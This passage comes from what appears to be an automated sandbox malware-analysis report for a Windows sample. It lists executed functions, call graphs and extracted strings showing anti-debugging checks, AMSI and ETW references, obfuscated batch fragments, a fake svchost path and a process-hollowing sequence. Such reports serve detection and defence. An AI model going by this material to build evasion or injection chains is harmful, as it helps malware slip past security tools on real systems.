29919->29872 29920->29919 29921 2831ba4 29920->29921 29921->29872 29923 2831681 29922->29923 29924 283164d 29922->29924 29923->29890 29924->29923 29925 283164f Sleep 29924->29925 29926 2831664 29925->29926 29926->29923 29927 2831668 Sleep 29926->29927 29927->29924

                                                                                                                                                            Executed Functions

                                                                                                                                                            Function 0284F0A8 Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535filesleepCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                            • InetIsOffline.URL(00000000,00000000,0285B3D5,?,?,?,000002F7,00000000,00000000), ref: 0284F0E2
                                                                                                                                                              • Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
                                                                                                                                                              • Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
                                                                                                                                                              • Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
                                                                                                                                                              • Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3
                                                                                                                                                              • Part of subcall function 0284EFC8: GetModuleHandleW.KERNEL32(KernelBase,?,0284F3CC,UacInitialize,0289237C,0285B40C,UacScan,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString), ref: 0284EFCE
                                                                                                                                                              • Part of subcall function 0284EFC8: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 0284EFE0
                                                                                                                                                              • Part of subcall function 0284F024: GetModuleHandleW.KERNEL32(KernelBase), ref: 0284F034
                                                                                                                                                              • Part of subcall function 0284F024: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0284F046
                                                                                                                                                              • Part of subcall function 0284F024: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0284F05D
                                                                                                                                                              • Part of subcall function 02837E10: GetFileAttributesA.KERNEL32(00000000,?,0284FD00,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,UacScan,0289237C,0285B40C,UacInitialize), ref: 02837E1B
                                                                                                                                                              • Part of subcall function 0283C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,029868C8,?,02850032,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession), ref: 0283C2FB
                                                                                                                                                              • Part of subcall function 0284DFE4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E01F
                                                                                                                                                              • Part of subcall function 0284DFE4: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E04F
                                                                                                                                                              • Part of subcall function 0284DFE4: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0284E064
                                                                                                                                                              • Part of subcall function 0284DFE4: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0284E090
                                                                                                                                                              • Part of subcall function 0284DFE4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0284E099
                                                                                                                                                              • Part of subcall function 02837E34: GetFileAttributesA.KERNEL32(00000000,?,02852E7D,ScanString,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,Initialize), ref: 02837E3F
                                                                                                                                                              • Part of subcall function 02837FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,0285301B,OpenSession,0289237C,0285B40C,ScanString,0289237C,0285B40C,Initialize,0289237C,0285B40C,ScanString,0289237C,0285B40C), ref: 02837FD5
                                                                                                                                                              • Part of subcall function 0284DF00: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DFD2), ref: 0284DF3F
                                                                                                                                                              • Part of subcall function 0284DF00: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0284DF79
                                                                                                                                                              • Part of subcall function 0284DF00: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0284DFA6
                                                                                                                                                              • Part of subcall function 0284DF00: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0284DFAF
                                                                                                                                                              • Part of subcall function 02848798: LoadLibraryW.KERNEL32(bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
                                                                                                                                                              • Part of subcall function 02848798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
                                                                                                                                                              • Part of subcall function 02848798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802
                                                                                                                                                              • Part of subcall function 02848704: LoadLibraryW.KERNEL32(amsi), ref: 0284870D
                                                                                                                                                              • Part of subcall function 02848704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 0284876C
                                                                                                                                                            • Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,ScanBuffer,0289237C,0285B40C,OpenSession,0289237C,0285B40C,0285B764), ref: 02854DEB
                                                                                                                                                              • Part of subcall function 0284DE78: RtlInitUnicodeString.NTDLL(?,?), ref: 0284DEA0
                                                                                                                                                              • Part of subcall function 0284DE78: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DEF2), ref: 0284DEB6
                                                                                                                                                              • Part of subcall function 0284DE78: NtDeleteFile.NTDLL(?), ref: 0284DED5
                                                                                                                                                            • MoveFileA.KERNEL32(00000000,00000000), ref: 02854FEB
                                                                                                                                                            • MoveFileA.KERNEL32(00000000,00000000), ref: 02855041
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
                                                                                                                                                            • String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
                                                                                                                                                            • API String ID: 2010126900-181751239
                                                                                                                                                            • Opcode ID: e9546d1bfed3d17c6b1aad43b83dc3b32c87e75dc15a3a733ee9f3b03ca4ba06
                                                                                                                                                            • Instruction ID: 4630ce8675d849fa24cd9c8b2c13b3cd4506d60592caf79940752341c65551dc
                                                                                                                                                            • Opcode Fuzzy Hash: e9546d1bfed3d17c6b1aad43b83dc3b32c87e75dc15a3a733ee9f3b03ca4ba06
                                                                                                                                                            • Instruction Fuzzy Hash: 7624FD7DA1016C8BDB21EB68DD80ADE73B6BF94304F1080E5E409EB359DB74AE458F52
                                                                                                                                                            Function 02848BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 6997 2848ba8-2848bab 6998 2848bb0-2848bb5 6997->6998 6998->6998 6999 2848bb7-2848c9e call 283493c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 6998->6999 7030 2848ca4-2848d7f call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 6999->7030 7031 284a6ef-284a759 call 28344d0 * 2 call 2834c0c call 28344d0 call 28344ac call 28344d0 * 2 6999->7031 7030->7031 7075 2848d85-28490ad call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28330d4 * 2 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2834d8c call 2834d9c call 28485d4 7030->7075 7184 2849120-2849441 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2832ee0 call 2832f08 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c GetThreadContext 7075->7184 7185 28490af-284911b call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 7075->7185 7184->7031 7293 2849447-28496aa call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 284824c 7184->7293 7185->7184 7366 28499b7-2849a22 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 7293->7366 7367 28496b0-2849819 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28484bc 7293->7367 7392 2849a28-2849ba8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28479ac 7366->7392 7393 2849a23 call 284881c 7366->7393 7457 2849843-28498ae call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 7367->7457 7458 284981b-2849841 call 28479ac 7367->7458 7392->7031 7498 2849bae-2849ca7 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2848ab8 7392->7498 7393->7392 7468 28498b4-28499ab call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28479ac 7457->7468 7496 28498af call 284881c 7457->7496 7458->7468 7537 28499b0-28499b5 7468->7537 7496->7468 7549 2849ca9-2849cf6 call 28489b0 call 28489a4 7498->7549 7550 2849cfb-284a453 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2847cf8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2847cf8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c SetThreadContext NtResumeThread call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2832c2c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2848798 * 3 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 7498->7550 7537->7392 7549->7550 7775 284a458-284a6ea call 2848798 * 2 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 * 5 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 2847ecc call 2848798 * 2 7550->7775 7775->7031
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
                                                                                                                                                              • Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
                                                                                                                                                              • Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
                                                                                                                                                              • Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3
                                                                                                                                                              • Part of subcall function 028485D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02848660
                                                                                                                                                            • GetThreadContext.KERNEL32(000006A8,02892420,ScanString,028923A4,0284A774,UacInitialize,028923A4,0284A774,ScanBuffer,028923A4,0284A774,ScanBuffer,028923A4,0284A774,UacInitialize,028923A4), ref: 0284943A
                                                                                                                                                              • Part of subcall function 0284824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 028482BD
                                                                                                                                                              • Part of subcall function 028484BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02848521
                                                                                                                                                              • Part of subcall function 028479AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02847A1F
                                                                                                                                                              • Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C
                                                                                                                                                            • SetThreadContext.KERNEL32(000006A8,02892420,ScanBuffer,028923A4,0284A774,ScanString,028923A4,0284A774,Initialize,028923A4,0284A774,000006A4,00222FF8,028924F8,00000004,028924FC), ref: 0284A14F
                                                                                                                                                            • NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(000006A8,00000000,000006A8,02892420,ScanBuffer,028923A4,0284A774,ScanString,028923A4,0284A774,Initialize,028923A4,0284A774,000006A4,00222FF8,028924F8), ref: 0284A15C
                                                                                                                                                              • Part of subcall function 02848798: LoadLibraryW.KERNEL32(bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
                                                                                                                                                              • Part of subcall function 02848798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
                                                                                                                                                              • Part of subcall function 02848798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Library$MemoryThreadVirtual$AddressContextFreeLoadProc$AllocateCreateHandleModuleProcessReadResumeSectionUnmapUserViewWrite
                                                                                                                                                            • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                            • API String ID: 4083799063-51457883
                                                                                                                                                            • Opcode ID: dc61a418c95ec945821530bfe17e2b548cd7665237ed0e02f11e189b11cc01a3
                                                                                                                                                            • Instruction ID: dbb4e3a427d28a0e80a549579840bc2d45d3fac1972c4b868b012d915d89a57b
                                                                                                                                                            • Opcode Fuzzy Hash: dc61a418c95ec945821530bfe17e2b548cd7665237ed0e02f11e189b11cc01a3
                                                                                                                                                            • Instruction Fuzzy Hash: 55E2107CA9011C9FEB16EB68CCA0EDE73BAAF45300F1041A1E545EB315DE74AE458F92
                                                                                                                                                            Function 02848BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 7853 2848ba6-2848bab 7855 2848bb0-2848bb5 7853->7855 7855->7855 7856 2848bb7-2848c9e call 283493c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 7855->7856 7887 2848ca4-2848d7f call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 7856->7887 7888 284a6ef-284a759 call 28344d0 * 2 call 2834c0c call 28344d0 call 28344ac call 28344d0 * 2 7856->7888 7887->7888 7932 2848d85-28490ad call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28330d4 * 2 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2834d8c call 2834d9c call 28485d4 7887->7932 8041 2849120-2849441 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28346a4 * 2 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2832ee0 call 2832f08 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c GetThreadContext 7932->8041 8042 28490af-284911b call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c 7932->8042 8041->7888 8150 2849447-28496aa call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 284824c 8041->8150 8042->8041 8223 28499b7-2849a22 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 8150->8223 8224 28496b0-2849819 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28484bc 8150->8224 8249 2849a28-2849ba8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28479ac 8223->8249 8250 2849a23 call 284881c 8223->8250 8314 2849843-28498ae call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 8224->8314 8315 284981b-2849841 call 28479ac 8224->8315 8249->7888 8355 2849bae-2849ca7 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2848ab8 8249->8355 8250->8249 8325 28498b4-28499b5 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 28479ac 8314->8325 8353 28498af call 284881c 8314->8353 8315->8325 8325->8249 8353->8325 8406 2849ca9-2849cf6 call 28489b0 call 28489a4 8355->8406 8407 2849cfb-284a6ea call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2847cf8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2847cf8 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c SetThreadContext NtResumeThread call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2832c2c call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2848798 * 3 call 283480c call 283494c call 28346a4 call 2834798 call 283494c call 28346a4 call 284881c call 2848798 * 2 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 * 5 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 283480c call 283494c call 2834798 call 283494c call 2848798 call 2847ecc call 2848798 * 2 8355->8407 8406->8407 8407->7888
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 0284881C: LoadLibraryA.KERNEL32(00000000,00000000,02848903), ref: 02848850
                                                                                                                                                              • Part of subcall function 0284881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02848903), ref: 02848860
                                                                                                                                                              • Part of subcall function 0284881C: GetProcAddress.KERNEL32(74AD0000,00000000), ref: 02848879
                                                                                                                                                              • Part of subcall function 0284881C: FreeLibrary.KERNEL32(74AD0000,00000000,02892388,Function_000065D8,00000004,02892398,02892388,000186A3,00000040,0289239C,74AD0000,00000000,00000000,00000000,00000000,02848903), ref: 028488E3
                                                                                                                                                              • Part of subcall function 028485D4: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02848660
                                                                                                                                                            • GetThreadContext.KERNEL32(000006A8,02892420,ScanString,028923A4,0284A774,UacInitialize,028923A4,0284A774,ScanBuffer,028923A4,0284A774,ScanBuffer,028923A4,0284A774,UacInitialize,028923A4), ref: 0284943A
                                                                                                                                                              • Part of subcall function 0284824C: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 028482BD
                                                                                                                                                              • Part of subcall function 028484BC: NtUnmapViewOfSection.NTDLL(?,?), ref: 02848521
                                                                                                                                                              • Part of subcall function 028479AC: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02847A1F
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
